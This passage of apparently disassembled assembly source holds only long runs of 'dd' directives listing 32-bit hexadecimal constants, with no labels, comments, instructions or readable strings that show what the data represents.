584FF22Bh, 29C84330h, 0D83792h dd 12DA4D45h, 61D09097h, 0A3BCD600h, 0A7CC07Eh, 2930008Bh dd 7F97D8C6h, 72F050F4h, 54C34207h, 98A6E7CDh, 8AF11F18h dd 38F2C02Bh, 597D53B2h, 46477500h, 321169BDh, 7853AF0h dd 0CA400FFh, 45FFDC73h, 8400ED58h, 0C60D38A6h, 7AE7E164h dd 5F36000Fh, 2391037Eh, 460148E9h, 372EF6D6h, 16E819E4h dd 2B43FB7h, 1E3FC200h, 5540A20Fh, 53BD6D01h, 0AA7E0892h dd 706430h, 15518B04h, 0C01D83CDh, 41D50E00h, 37A06B23h dd 5DBD0067h, 93A75724h, 87001488h, 0C18F3D98h, 9A0520h dd 318ACE1Eh, 8C9CF952h, 0F05A8800h, 0BDD90270h, 12421FC8h dd 0BFAD008Dh, 25BCF67Eh, 0D79091F8h, 26281D00h, 0D653AF51h dd 0E37900E2h, 600EB188h, 0C300E607h, 0F56D8EA2h, 1E2131Eh dd 0B696B858h, 404EC6ACh, 0ADF26B9Fh, 0BF7CD900h, 0C5E457F6h dd 0D7B101FEh, 241FCFEFh, 0D847F9F0h, 0D21C7026h, 0E90FCC66h dd 0A1BE065h, 0E01692h, 286DF348h, 0BD5F97B9h, 81366400h dd 1E87F8F4h, 0F5DB00C7h, 8C2A955Dh, 0F3FC836Dh, 4F150500h dd 7AFDA59Eh, 0D78A305Eh, 0B2F59C80h, 0C0811A03h, 0D1BE8C23h dd 1C24CA6Fh, 0A3200EEh, 70BAB57Ch, 6B263DA0h, 2000503Bh dd 9F88252Ch, 133A1C67h, 4F26DAh, 60955B8Ch, 52012AFDh dd 0AA686EBh, 20216C10h, 73004638h, 0B7AA87D1h, 0F6004306h dd 20858C36h, 0FAB59BBDh, 2926000Dh, 149C3AB8h, 0AF008FC1h dd 81D70170h, 0F37EE3h, 3F8431DEh, 4902722Ch, 3032B624h dd 0FEF4600Eh, 23341E00h, 8FB99Bh, 7811814Eh, 7EFCD802h dd 1A6BB712h, 65740Eh, 9683BA14h, 0D29B00C3h, 382923C6h dd 0FD3E53E1h, 101D00B6h, 3EEF64ADh, 8C40F5DEh, 0CEB763h dd 24CD4B78h, 0D565DB0Eh, 0EF2BBF00h, 7D3C6D84h, 20E11EAEh dd 4CD233h, 2641EBC9h, 931F089Ah, 0B471B32h, 72F0B788h dd 0F60C20h, 849748EAh, 0B11A3FA8h, 0F9CB5405h, 9000DD51h dd 64D741D1h, 34B95C15h, 0FE447800h, 0C5DCE9CBh, 925C5200h dd 0CCA0078Ch, 4241001Dh, 0B28B5634h, 0AB00089Fh, 3C17DCE1h dd 0F431BB26h, 0A0B5790Dh, 2BDADDACh, 0C0836Ch, 4B6578B1h dd 12076790h, 206AE3ADh, 0C0700B00h, 992200A4h, 0D24CF866h dd 0DC004836h, 7CA99354h, 18C76B2h, 0E1B790A8h, 0E83EEB3Bh dd 0C3007743h, 0FB21725Bh, 3CA6233h, 0DC1EE1F8h, 46E8C5BEh dd 0B1000B78h, 87AB2F29h, 9A7ACD2h, 7DDB6A7Ah, 1FF0C400h dd 0B600DEC1h, 0A31A4819h, 906170Ch, 6A969AF5h, 31B3000h dd 8724C924h, 650047C6h, 80418668h, 96E80CABh, 45DC90A4h dd 0D4151A00h, 89DAB45Ah, 3B5D018Ch, 402A39E7h, 0A0AFDCC5h dd 62952400h, 45331786h, 5EFB0CCAh, 3F90D20Bh, 7C59F301h dd 9A400898h, 60F49825h, 0A2F500A6h, 7B84FFD8h, 3554087Fh dd 0F5E86710h, 0F9F6AA40h, 0F1292BD0h, 7042F701h, 0BBF4D09Fh dd 94157300h, 7B894D3Fh, 8A180B69h, 36800685h, 131F78D2h dd 7B599360h, 0F707CEh dd 77213FE1h, 59D38C51h, 633A550Ah, 0A317A073h, 1C19EAACh dd 30A240FFh, 979E5F70h, 70908900h, 0C68289Ah, 81B82EC6h dd 63487580h, 8880007Dh, 24F4B91Dh, 9D920077h, 0B28E0DE8h dd 9300025Ah, 4381EC22h, 69CE99h, 0AF9F166Ah, 65CF68FEh dd 8CD4FA00h, 1B4DC4E1h, 0C5970380h, 25B98886h, 5FFEC7B8h dd 0A87F1E30h, 0B4E863h, 48AEABE9h, 42323E50h, 0E8FD34Ch dd 803CBCADh, 0A1E6FFD4h, 0D25E00BFh, 1091BA06h, 0BC00AF8Eh dd 218C709Bh, 66339423h, 977E907h, 0F8A3BC21h, 6C7E2404h dd 0E7405F85h, 7D68B8DAh, 181F6008h, 0F2193A3Ch, 0F5512200h dd 0A66B87CBh, 5980008Dh, 944A0835h, 3C180350h, 49291AECh dd 815A88C8h, 889B7E88h, 0AD8914AFh, 7D44E808h, 4328A072h dd 80189E1h, 667E44E6h, 0DFA114A0h, 80080589h, 443A7944h dd 0DD44D4AFh, 4964A0D9h, 82E8992h, 0BDF044C3h, 52ED14A0h dd 84625A40h, 20437422h, 8807CC91h, 0EF0AB88Eh, 0E25749E0h dd 0B3B50029h, 7C023CFBh, 0F81D0BBEh, 2503AFD6h, 0B03B558Dh dd 0BD0913E6h, 11995640h, 84A70300h, 1F1889E3h, 0F8BC3C31h dd 5332CA87h, 121770BBh, 0AD0B847Eh, 760D2B8h, 4A202017h dd 77D706FFh, 0E2DB03E3h, 2D40EC5h, 40C08990h, 0BE51BB00h dd 8E062C82h, 0F0D200DDh, 205D1AF7h, 0C300AEEEh, 849E27E8h dd 3D1CA5FBh, 7880D09Ah, 5737AB59h, 0BF00F8DFh, 0F1DC70C3h dd 775CE8F0h, 0FFE43EB5h, 0FC5B0680h, 0D3F73524h, 1FDFE00Bh dd 6C6100BFh, 0D60977h, 0AB7A6EB2h, 0C57B1C6Bh, 1DCABD00h dd 0D73E9ED5h, 1A4A004Ch, 594F9F43h, 8500453Ch, 0D2E22AE1h dd 0E41A375h, 0BFCB7ADFh, 2D05F7E0h, 710F1E32h, 80EE2A56h dd 0DE8F442Bh, 98D1039Bh, 0B7374CA3h, 0C1A48DE0h, 0F4E27EE0h dd 73DA7112h, 64AF6C05h, 0A0FE9500h, 51BCA4h, 0D8697A96h dd 46AC8152h, 0F36A3Fh, 0A33507Eh, 0DAB3FDh, 97397904h dd 0FF102401h, 7524E3Ch, 38A9CF42h, 0D05FC04Fh, 0A6C0F0h dd 0F31C118Fh, 321527EDh, 60D4E73Ah, 521DF520h, 0A36E0014h dd 0B41206EFh, 6600AB98h, 0BEEADCDEh, 0C43E39h, 0C5BB2C7h dd 881A9ED8h, 410F98F0h, 0A095FAD9h, 4881671Ch, 0A81400AEh dd 0C2245EACh, 4A00DBECh, 0AD48B41h, 8FAAD3h, 1760E4A1h dd 153991FEh, 2E1F03E0h, 0B040935Fh, 0BECFF9D0h, 21EE72h dd 5B96F139h, 4D862BCAh, 65001BEAh, 1E5A0F78h, 78DA4EEh dd 0F4EFF2DBh, 0BC7FA04Bh, 2100C26Eh, 0E3297CE7h, 5059ECA1h dd 0F415FA33h, 0CE450BB3h, 0A881213Eh, 600BF5C4h, 0F91F6477h dd 0BC8FACFDh, 52B500C5h, 4AD50h, 0D0B9AF1Ch, 1B580DD2h dd 0A9FCFA00h, 0D9910867h, 52A00EE9h, 9EA1EB71h, 0EC3BCF96h dd 14005824h, 107CC10Eh, 29AB87Fh, 0FF18214Bh, 92803213h dd 4AD28B9Fh, 0C1196400h, 3A750E9Eh, 0ACC300F1h, 37095A82h dd 8A0016BAh, 7DFB41A8h, 30EE2Ch, 0F999C962h, 0F61858E9h dd 2688D217h, 2BF07FBh, 0B0833694h, 5DCDA500h, 5BBEB249h dd 0F8E1C05Eh, 0D44F5C35h, 85C4B500h, 201BC383h, 0F9E4079Eh dd 0A0AC1F68h, 2D4DC208h, 4BFC8E00h, 0BDEF27E2h, 1D811DF7h dd 0CB91C306h, 55B8D3A0h, 0D800795Bh, 6A8FFFF3h, 0EC9E3Fh dd 0DBD4DC57h, 64D60656h, 0EDEBD301h, 14ABF49Ah, 38E8B03Ah dd 71E597Ch, 4080B693h, 0DAE177C2h, 80C031Dh, 26A9357Fh dd 78B0B88h, 37E02900h, 0DC1430C5h, 932F00C4h, 85059ABFh dd 7503B72Dh, 3EED8925h, 9B2080D8h, 0AE712638h, 3F95006Ch dd 0F057862h, 68392600h, 58A81FA3h, 9B4C07ECh, 304D0189h dd 447E3D4Fh, 0D0409800h, 20500902h, 43E0010h, 13AB536Ah dd 0D7E0293Bh, 57984A03h, 0B0F19BB8h, 3F02F4h, 0E059A779h dd 9D80B938h, 33CF70Fh, 60F1007Ch, 0C96D9Ah, 0BCC793CBh dd 0FCCF70A9h, 0B01E3338h, 1DC410BDh, 0A019E65Fh, 6575EEh dd 0A1D04ECEh, 426AB9CFh, 6F0C21F0h, 5061B6B1h, 534400AAh dd 0CD044C51h, 8600B2D9h, 0C374EDDBh, 0E8B325B8h, 30D61ED5h dd 40D05EC0h, 6A57A7DCh, 0A60AEACh, 90429589h, 0D44E0007h dd 0F9C937B4h, 0A03FE4FFh, 0B7688766h, 400E3D5Fh, 806027F0h dd 0E34D007Bh, 2CFD85D1h, 8D00156Fh, 6377E1A9h, 7CF96612h dd 0FEEC07F2h, 0B0A609C7h, 0DC29E085h, 43516803h, 0D8BF82B0h dd 0FA4A73CAh, 8A620040h, 65F9BE2Bh, 4607F303h, 1A3E8CB1h dd 93F04A20h, 60B00088h, 299C9574h, 220044F5h, 8B4B301Fh dd 0B267C4h, 0FC756C87h, 3F9CAFFAh, 0BB899D00h, 0C88A8A6h dd 0BD9A0997h, 3B00B626h, 69B03005h, 94241A70h, 14033137h dd 0F01C4890h, 0D59961h, 0C8F5ECE1h, 67C57749h, 8A4B3800h dd 0E2879725h, 1D840347h, 0ED2CAE31h, 8080AC82h, 4897575Dh dd 142BAA24h, 239C3E00h, 5EE80B7h, 26ED364Fh, 14EC004Bh dd 0D4A2D666h, 50B9BC3Fh, 9928F8E4h, 6E0EC406h, 0E0676ACCh dd 0F68A48F4h, 9713023Ah, 0B629FC24h, 0CE94DC80h, 0CF14326Ah dd 0D42B80h, 4D9F578Fh, 1D7AC1D8h, 80F27E1Dh, 0F5A7DA27h dd 88484770h, 0C3F3004Ch, 196738B6h, 0E47C00C4h, 5E265F71h dd 68602547h, 54BD3D6Ch, 9BE60Fh, 0D493FAE7h, 0E0F589ECh dd 651D68F8h, 0DDC3907Eh, 981E843Dh, 0D91FB7h, 716E9995h dd 0BDD3430Ch, 684D5B00h, 0E8560446h, 595C00B4h, 0FF3EA00Ah dd 0D12C8705h, 330068C3h, 0CAB8390Ch, 0CF5100D6h, 5738A85Ch dd 4A009E4Bh, 48687DFAh, 7824EFh, 9F3FE0A0h, 508FD925h dd 41373E07h, 0B8028C3h, 1EF73251h, 0C2A98A8Bh, 0DE626F3Ah dd 0CC4F2241h, 98001C16h, 668AB2C1h, 96762Bh, 6A7FF9FBh dd 77ED4B46h, 8C05DC70h, 88C75EE5h, 2CA980FAh, 6500A8C1h dd 0B78DB11Ch, 19E4D4h, 9F016A08h, 74267347h, 6D6C6200h dd 9C3FF645h, 6B7B07A9h, 8EA39986h, 6F47D140h, 98001B53h dd 0F98229DAh, 4D5502h, 0D8420CBCh, 0EFC62404h, 0A2CD6D00h dd 4BDCC9FDh, 7DFC00C1h, 51431D37h, 0F24D68Eh, 0AB1D0280h dd 0CCD773C0h, 14200848h, 9CBF6E41h, 0C6D58100h, 82788D2Ah dd 0B90C03EEh, 9AD02FF1h, 225B00C4h, 89B5AB23h, 6D005C21h dd 88661A35h, 5239D6h, 5EE2E5A5h, 3E18E4C3h, 831CC600h dd 119BDBF4h, 39B4017Bh, 3740D6A8h, 0E453C54Eh, 4700502Fh dd 116816A6h, 3D750CA0h, 58039B1h, 7A28FFFBh, 0B400339Ch dd 74813B29h, 70F5F1CBh, 4B58003Eh, 0DC92E623h, 0CA03033Fh dd 0E8ABB7Fh, 152CD8E4h, 3C9439EBh, 10C78E00h, 0DBEE2DDAh dd 0E478050Eh, 8565A01Fh, 7C3CCFB5h, 0B0310479h, 806A03B8h dd 2D0F27BEh, 0C05A240Fh, 0AC698095h, 24FCDC5Ch, 2509B5h dd 7F93EF70h, 8900D943h, 59C3C11Fh, 4CF48ADEh, 8B80085Fh dd 2D6E957Ah, 0FF4D3Fh, 969856E8h, 388F5746h, 138705Eh dd 0D8212E00h, 4B0E7710h, 0A2469C0Fh, 0AB6B56h, 82E124E7h dd 31B016B6h, 0CC9440A0h, 5450265Dh, 0A402BDE2h, 32022E2Ch dd 0C00EE0D9h, 0A2680052h, 9C486D8Bh, 15260A4Eh, 2B1FC081h dd 636100F8h, 0BE1FBDFBh, 861800E6h, 4766A87Fh, 9F00697Dh dd 0B128FD09h, 3DBF3615h, 5001C6Ah, 0F2CD63FAh, 3C0093E6h dd 0F7CE31DFh, 159575Ah, 0F046AA2Bh, 0C06F4FE4h, 6CB2B7E1h dd 72E725Ch, 92EDD10Eh, 0BEDE5C00h, 2D4004Dh, 0C7F07EB0h dd 59012236h, 0CB138EB4h, 20BAF1CDh, 3198CFBCh, 0F42006E7h dd 0C9152100h, 0EA5C04C2h dd 0ED945875h, 0EBAA7600h, 57514FD6h, 128F4600h, 2B290A14h dd 7C830090h, 30484EC7h, 0D60CFEACh, 0A8941720h, 4D4EC6Bh dd 74D71A2Bh, 0E58CC077h, 3D13D98Eh, 70005128h, 0F73B45E1h dd 82A53C26h, 0B3E9E000h, 755BCA30h, 47489361h, 19D49748h dd 2BF89F10h, 0DB1CCB00h, 821A13Ah, 9DED1643h, 40C41F68h dd 617A815h, 2047591h, 61A96CBDh, 2394F4C0h, 0ECFD4D72h dd 0C2DF7B07h, 442B9064h, 567940A5h, 0B54D900h, 0DA9EBF30h dd 0BB33265Fh, 0AC2500D7h, 399AF4BAh, 0B1A35701h, 0BBF56B7h dd 7401DCh, 0FE8B17C4h, 29521B35h, 94804500h, 0E85D43ABh dd 5CF27Bh, 3FB2644Ah, 0ADD704CAh, 812B8800h, 0A375273h dd 4DD901BBh, 6F4BAA6Ch, 61F44145h, 3C01E8E1h, 73976A03h dd 0A8E5F32Ah, 0CC0E37h, 207A689h, 6C5111F5h, 0B83B3601h dd 0D452C3Ah, 3B34B1ECh, 8A00C09Dh, 0FE375665h, 6090C92Eh dd 50168211h, 2827809Fh, 0BD5D5CC1h, 47A4C400h, 487672F6h dd 0CA100031h, 62E03997h, 1414A965h, 0A4053Ch, 0FEED9811h dd 153547h, 4E62537h, 0E74A9BA7h, 0FF7A9C00h, 0DACE7FEBh dd 0FE6F0ED3h, 664018C1h, 5A76B8F7h, 0A6A0D207h, 0A4A1DA91h dd 46C96B43h, 0B9648040h, 0F3700C9Bh, 0A771531Fh, 4BFA7803h dd 80F68177h, 1DBBDF39h, 40E7F05Fh, 0F9F57405h, 0C40090E3h dd 0D3ED6A2Dh, 2E2BEA75h, 60244A7Ah, 8E236CC6h, 0E459E216h dd 0F28E301Ch, 6747028Fh, 12E884C5h, 4DD51780h, 0FAA50C3Dh dd 0F59844C3h, 45720B04h, 28D7DE67h, 0FA80D05Ah, 501A68E6h dd 255300BDh, 4F720D04h, 880B5224h, 80A45181h, 0E4F92100h dd 0D6D1FDDh, 0CA138A93h, 0C28E04CCh, 693F204Eh, 3E07003Ah dd 0BB5FD7FBh, 2A2ED4EFh, 0D8803C12h, 72B7B4E9h, 0BDEE004Bh dd 4E258E7Eh, 0F301040Fh, 0D054B545h, 80204A53h, 74AE3C1Ch dd 0B1383980h, 0FB5CAB96h, 3BC6E5Ch, 3285F5D3h, 0B85805B2h dd 8006D549h, 0F87B8F67h, 4E37900h, 96D8C7A5h, 2BFA1EC6h dd 4ED10007h, 2AAB082Dh, 0EC3E3500h, 0B45C7871h, 8BCD0968h dd 0B8209343h, 0CC1C3767h, 4FFE500h, 40EB7836h, 7CB49096h dd 838E003Eh, 0BD3B80D9h, 6000B9Dh, 11DFE327h, 0B820E9h dd 0C15A81Ch, 0CF8C9B78h, 60198500h, 0D804AEDh, 1352683h dd 7DC013Ch, 0DD2A6FA8h, 8A287097h, 0B6476B17h, 88D27800h dd 0A7CB4Ah, 0EAB9606Ch, 78AEFA12h, 9C506400h, 0CFDB4CCh dd 0C0830059h, 7653E5BBh, 47129EECh, 8040FB5Fh, 0DD2EB733h dd 14C9FC37h, 9CB5CE5Bh, 0C0D4F71Ch, 0B10C871h, 0A006A3Bh dd 509899C4h, 0F5322Bh, 0B5C179FEh, 650DE6D9h, 2003054Bh dd 0D02DDF7Dh, 2435A4EDh, 0E81B171h, 7C4EC1h, 138F79CEh dd 8214AA11h, 0BE89057h, 5B7380Ah, 0E4C1931Bh, 2FC4F46Fh dd 0C5EC13h, 0A5EC249Bh, 75BC8FA8h, 0FCEA8D00h, 0AA5F3C88h dd 4DF0E0h, 0E3B56EC0h, 0FD29981Ah, 92F6600h, 6F6BF17Fh dd 4C2D7932h, 0A0000ED7h, 9E306459h, 0D0001ACBh, 0D353EF50h dd 347BF4Eh, 1E7D42F7h, 2A984525h, 690733F5h, 8C1516E3h dd 3E584070h, 63303053h, 5F615938h, 0A0B2E614h, 77BC0387h dd 0F8188AE2h, 468570h, 0EC8F4191h, 0F67A162Fh, 60DAB300h dd 0FB18F2AAh, 0B993A20h, 6D077EBEh, 32D98D57h, 0B16089CDh dd 0C8002FC1h, 7AB00569h, 2EA9F8h, 32BC7D70h, 8C7F3B86h dd 5400D271h, 4D1E27D4h, 3DFC9BEh, 66F2A59Eh, 19C04F73h dd 0E000569Fh, 0A0308F51h, 1D012DB4h, 563C881h, 805AF0DBh dd 593B8251h, 0FC764FECh, 0D5583E00h, 63D05DC5h, 0A0E1001Ch dd 611ECD64h, 0FEF0CE81h, 0A6BF7E00h, 7208931Ah, 4B830E1Dh dd 80601432h, 0C40C84F4h, 9FBBA00h, 0C0D786E4h, 3D61093Ch dd 5F8020D9h, 0B6FE4C95h, 32D4DE0Fh, 0DB04EEC9h, 0CC8EB890h dd 213F0061h, 0C1D553ABh, 8207E5D2h, 0B9EF4E80h, 0E4B3D310h dd 492B0062h, 0C89949Ch, 400DA5Bh, 0F28DC069h, 7766520h dd 5422799Fh, 4A77E6h, 648AC3CDh, 0CB3EC91Eh, 803070F2h dd 525F4E80h, 0DFE800FEh, 81AE897Dh, 0E201E0F2h, 0EF6F346Bh dd 144B972Ch, 373D007Fh, 0F866F628h, 3A00E74Dh, 7BA6530Ch dd 2B4C7Eh, 5F162377h, 1F5A5EB3h, 2D2A2914h, 89700EB0h dd 16C3C0CCh, 0E68012E7h, 289F004Fh, 0AC8713BDh, 9AF6FD23h dd 2B0B1500h, 0CCC1BB05h, 0CD9E0F64h, 0DEE0601Fh, 27210C25h dd 11E6FF00h, 0BDD0C8BAh, 9E940096h, 4D71A1ABh, 94906B9Dh dd 1CAA0B00h, 0D37CFA81h, 48E80042h, 21D833A3h, 0C05128Dh dd 623CDDADh, 0B480B485h, 0FBA214h, 0A5C473FFh, 34276F8Bh dd 1D938600h, 0FD8A2C91h, 5B1A0460h, 9CD82FBFh, 2371EA28h dd 0D6273202h, 81F946FEh, 9F88BDF4h, 7B790CCCh, 0A76D0782h dd 0C1D0AEADh, 0D4412956h, 4E7D50C1h, 96B75A00h, 74A72D33h dd 56C03E36h, 94EB9D87h, 0FC70D0F1h, 3D00F098h, 78424995h dd 0C1FAA1B9h, 872C7C68h, 9AD840E3h, 8D002ECCh, 0A93F8619h dd 919450h, 0C4D058E5h, 4B1528F0h, 6A06892Eh, 4CDD5700h dd 859C4Eh, 4AA3C6D7h, 8BBFED52h, 0BD14C803h, 0C03B562Dh dd 24A0C333h, 28E499h, 0F657B344h, 2028C46Ch, 78F8F9A5h dd 0B5651200h, 8AF2822Ah, 14F31F1Ch, 826EDC56h, 28200F30h dd 0B8A8BDC3h, 0BB00ADCEh, 2B5F5B91h, 0B15086h, 0E39571E4h dd 964A2189h, 3200DFE2h, 0E678D9D4h, 4933C3h, 40592D38h dd 1E5603A8h, 0E100E4F0h, 0D93CD787h, 98396Fh, 0DB667281h dd 941B963h, 762D8F0Eh, 0E1F800C6h, 0A01ACE22h, 1F1DBD7h dd 19C58354h, 0C441B166h, 0C3029AC8h, 0D23AFF79h, 0DDFBE01Ah dd 638807C7h, 139C3B7Ch, 19F889CFh, 681CC0B0h, 39C0E7A5h dd 585F9279h, 7D3B00F9h, 0AA0F861Ah, 0F400BCFEh, 7AAC7C2Dh dd 7BC1FB4Eh, 38636072h, 5421F829h, 79901C4Ch, 61664500h dd 654E35EFh, 627C00B0h, 3D393A20h, 40CE7A8h, 0A808C416h dd 37D3006Ah, 1591A45Eh, 1400D2B2h, 399B27FEh, 43D9A6h dd 88E2AB9Dh, 0D5A529A4h, 0EFFD6A0Eh, 1A075F4Fh, 0F433C0BFh dd 216ED95Ah, 76F3A0DCh, 49000E1h, 983C8ACEh, 2A00268Fh dd 1CF95FADh, 0DC58B9h, 99813E21h, 75460810h, 1A978800h dd 0F7AB723Fh, 0FB2100A9h, 766D8EA3h, 0B509EED8h, 0E6CC8Bh dd 680C4625h, 7DFD00EAh, 43F7C3F4h, 940095FEh, 6F3CD428h dd 0F6B688h, 0FBB9204Dh, 2B43EF12h, 0D323C900h, 5863925Bh dd 490C00A2h, 0ADD1A4B8h, 7F00766Ch, 68F97AAAh, 3822E4CBh dd 740008EBh, 3B136A0Fh, 0CD0F1A14h, 40DEB128h, 4C78D82Ah dd 0D3A00169h, 82654255h, 0ADF3C87Ah, 23B20F07h, 0A9303852h dd 1A6E736h, 19178583h, 0F8269928h, 4A3E0EF2h, 0D325803Fh dd 40A784CBh, 6E00002h, 2DFFAAF6h, 347AF305h, 0EE0F9400h dd 21D552EAh, 0E4C0A0B0h, 5AB3106Ch, 61AE1CF9h, 2233E0C0h dd 44D0AFh, 0D87BCAF3h, 0ED6B65CEh, 5C3C9F00h, 621B13F9h dd 0C17E7Eh, 8F8B484Fh, 8055DDC8h, 37ECB300h, 693B60F0h dd 2F188084h, 58F54Dh, 1E70C0FBh, 0F04E8911h, 0EE4A004Bh dd 71ABB2Ch, 0B800738Eh, 0ACDAEA14h, 98FC9733h, 0C3E30030h dd 8167D136h, 3501ABF3h, 4ABE2637h, 0D0C332E8h, 0B0E2719h dd 0D276C29Dh, 29965C00h, 9C1E74B0h, 5104DFDDh, 0E4C04134h dd 1E2B1Ch, 6554615Eh, 0B33D9627h, 0AB7FC200h, 7A59FC3h dd 1E62EE3Ah, 0C0ADFD21h dd 723CD50Ah, 0E0192D1h, 8332899h, 7CF475BFh, 6CCA0046h dd 0E4B4B03Ch, 200C8027h, 78D4471Fh, 5BB720E0h, 0E8FD65FAh dd 7E003B33h, 0FB64F99Fh, 2DDA02h, 0EF16C6A5h, 608C6F65h dd 7C6D5C00h, 1A31218Fh, 77BF1FA6h, 7DA140B2h, 60D63EE9h dd 0FDA5B400h, 0BC657F25h, 8B2900E4h, 0AA65F10h, 0D70082F7h dd 1A36D92Eh, 13AA89EBh, 37C34Dh, 0BBBE41C4h, 0CB00477Bh dd 4514868h, 21A2EB3h, 8F44258Ch, 90C0BD5Ch, 0CD0087CAh dd 86234BBEh, 180CE4B5h, 59DA58D5h, 0E300F8DBh, 6CD36E84h dd 9E9BF2Dh, 0E5AD0938h, 1FD8D480h, 48001173h, 39C747E8h dd 58D18BEh, 7DE95121h, 6689017h, 91398A28h, 54598142h dd 3265C6Ch, 0F62CCCh, 8FBECEF9h, 4E323F6Eh, 9D0FD498h dd 0FB26C8h, 0A7858D0h, 0A8DE5D3Ch, 9FD15403h, 11003ABFh dd 4C4537DFh, 29F65521h, 1B82E0Bh, 0C0C87B62h, 188C7491h dd 3304520Bh, 0CF687E8h, 2CD0ECC0h, 9C4401D3h, 0C094C83Bh dd 0B0C84046h, 0B1008DD7h, 28626369h, 2CFE537h, 0B6050EC1h dd 46115BEh, 0EAADF066h, 0C0E0C600h, 7F4BE883h, 600A0070h dd 0D5F1979Fh, 0A40B4696h, 8F1923BAh, 433C008h, 906874h dd 0A73EC08Eh, 1DFBCBE7h, 871626E0h, 20005C80h, 4D1E9D12h dd 0A94E03E8h, 8B1AAC57h, 0E6F88AA9h, 0AA7849h, 24882AFFh dd 1E60052Fh, 829D80A5h, 94375A3h, 48EE460Fh, 0A18467F5h dd 0ADA2C80h, 0F72100AAh, 470F4F90h, 8700D119h, 15D32B7Bh dd 5C24B862h, 7800B93Bh, 86E892E2h, 99FE1CCDh, 0FEF63Bh dd 7136450Ah, 2D4B160h, 479D41A0h, 0B61D5C8h, 56F7D0A2h dd 515D1F03h, 27573h, 893EF0B0h, 0DFAF2B85h, 5F3D648h dd 0F426A1BEh, 0D800B016h, 0F0ABF820h, 0F32A00DFh, 4A6EB74Bh dd 0B40B9BDBh, 0D39892h, 49E4CAD7h, 6069582Dh, 0E210C430h dd 80393BAAh, 0EAD4006Fh, 0EE73125Bh, 99C9126Eh, 8F044244h dd 9050CB55h, 79A76Eh, 5E89090Dh, 4DEEED6h, 0B8C24FCAh dd 0A6B68175h, 9880F07Dh, 3468F401h, 6C93C96Bh, 51A55180h dd 95468A4Fh, 5D002898h, 0CCD8E674h, 14A099Eh, 28A035AAh dd 603E73B8h, 170E5BE7h, 67C8AEF9h, 0C390C9EEh, 5278B4Dh dd 0E520388h, 76E9C073h, 0F00FFE1h, 5C2DA79Dh, 77C91944h dd 21610695h, 9C0DA37Ch, 5E5FE800h, 7F0B4732h, 9DA0C42Dh dd 0EBD340F0h, 0BE8B0Ch, 19C61F77h, 1C2BEA98h, 39C8E58h dd 0BACE623Dh, 0C98DC8C2h, 7DF8047Eh, 0A1595A4Ah, 1B8BF4D4h dd 0F6F4683Eh, 0D9C698A0h, 5A00EC7Fh, 0DD998E78h, 0CECA39h dd 36178823h, 50570C7Ah, 461E70B8h, 99C0471Ah, 13542570h dd 48E0082h, 0E1804526h, 0C300ECD0h, 3E1714EAh, 775FFCBh dd 0A3B7B612h, 0B2664029h, 0AEFAA268h, 9100D5B8h, 57EA3C9Dh dd 26EB40DFh, 2088F5h, 45CA9F7Bh, 9000FE1h, 0D8E4DB3h dd 7EC0B46h, 2AD5E336h, 3BA2F078h, 9B078956h, 0A10F302Eh dd 0E3E964D0h, 10CA0453h, 0C0CD3168h, 309F462Fh, 7F4C7900h dd 33F31E0Ch, 108F0185h, 6018B9DAh, 1660C2B2h, 0E9006DE2h dd 0BD64DF86h, 2E9F3Ch, 62AE391Dh, 4BECEABAh, 0C1433200h dd 0D023F5Dh, 6ACB0092h, 238D73DDh, 6B00FD9Ch, 494E54F0h dd 360346h, 8C5051CAh, 0BA2D693Dh, 0FCF9DE1Dh, 74727D80h dd 3217BFh, 4C332946h, 524A30D9h, 5375FE03h, 4D8E0Dh, 0B0FCD648h dd 5A4BA132h, 0E1A94001h, 26BF653Ch, 0A0D834h, 80F6A257h dd 90BCDFACh, 0D2266773h, 7681B02Bh, 0E0D5968Bh, 1B55D4h dd 1D148650h, 8F54DD8Ah, 0B4C60A00h, 0D3E3F4FDh, 5F590041h dd 36305215h, 2489263h, 7C9B00EEh, 55588745h, 33FA003Ah dd 7A4C0D27h, 0AC00743Dh, 0EE6C7C1Ch, 0C0C64EB0h, 95B96A78h dd 5E38032Bh, 32E1002Eh, 76DB5F05h, 0E98A01FAh, 6F0C25DFh dd 5508DC10h, 0E824C0E4h, 0FD0074C5h, 17633B5Bh, 12AEE3Dh dd 2DF17EEEh, 0D0439354h, 28C0A592h, 42B9AF86h, 2E7A0017h dd 90622CCDh, 9E12C881h, 94039D9Bh, 0D30D4641h, 0DECDE174h dd 3D2A5870h, 38004862h, 712D4DBFh, 0BA03E26Fh, 0D828293Ch dd 0F35DE864h, 86B10069h, 0A3FF81F9h, 0E61D70D5h, 0ED01777Eh dd 698A11FEh, 0B0DDF7CCh, 4D990742h, 60C00AC2h, 29131D26h dd 74AC5800h, 1B7B3AE7h, 976700CFh, 7FE6515Eh, 2800BCC1h dd 2231AB5Ch, 409C10h, 5387DFEFh, 32EE01D4h, 3FEAE604h dd 0C0C25C5Ah, 2618C6B2h, 14C3081h, 78AA502Dh, 32506066h dd 0A5A37B00h, 1F3AADD1h, 766C00B4h, 7E0C5A5Dh, 0E824E350h dd 8300ED63h, 0CF110904h, 32981DB6h, 75EA4F21h, 232D1320h dd 3400862Bh, 0DC1B4C8h, 0FEB1DECEh, 22170085h, 819D7170h dd 8600CAA5h, 0E283EFAh, 7F9F257Fh, 6154029Bh, 938A913Bh dd 0A81E1CC8h, 0CB75DD00h, 92830A26h, 0C2530147h, 0A23AEF17h dd 0EC2970FBh, 0E7B3DA00h, 82E39312h, 94AD003Fh, 19FA8340h dd 7E00B8EDh, 6807DB3Ah, 132EF267h, 1FC51B1Eh, 0A6C000E8h dd 0A815998Dh, 4600E7E2h, 0EC9CA319h, 0F0F7005h, 0AADFFC6h dd 6217F980h, 515C7DFDh, 74760018h, 0F0BA8892h, 67350047h dd 2234668Ch, 290E2336h, 0F34EBEB7h, 0D40DA840h, 3BBA05Fh dd 6FED7E01h, 480253D5h, 8F71CB84h, 0D19EC038h, 0F2D81E41h dd 0D4FDC0EDh, 7CD94C1h, 0A859700h, 593C7880h, 6E380F32h dd 0B24088A2h, 0E5EA1223h, 0F5503709h, 1D9E03C8h, 32A5D080h dd 7132CC9h, 2025960Ch, 2496E100h, 2D225200h, 6BBE7CA4h dd 0C9F48EFh, 86F59100h, 0FA248BD7h, 16E5FF18h, 16335C58h dd 802B89E3h, 92EB5D08h, 2DF6C20Eh, 858C40CEh, 69DD0DEh dd 0BE099071h, 0B3007917h, 7E6F9152h, 928C59Ch, 48A6151Bh dd 8FA7C483h, 94A013DAh, 91B7C4FCh, 2903ACB2h, 73569BA8h dd 0FF169806h, 327400CCh, 0EE6172C5h, 0D4249E11h, 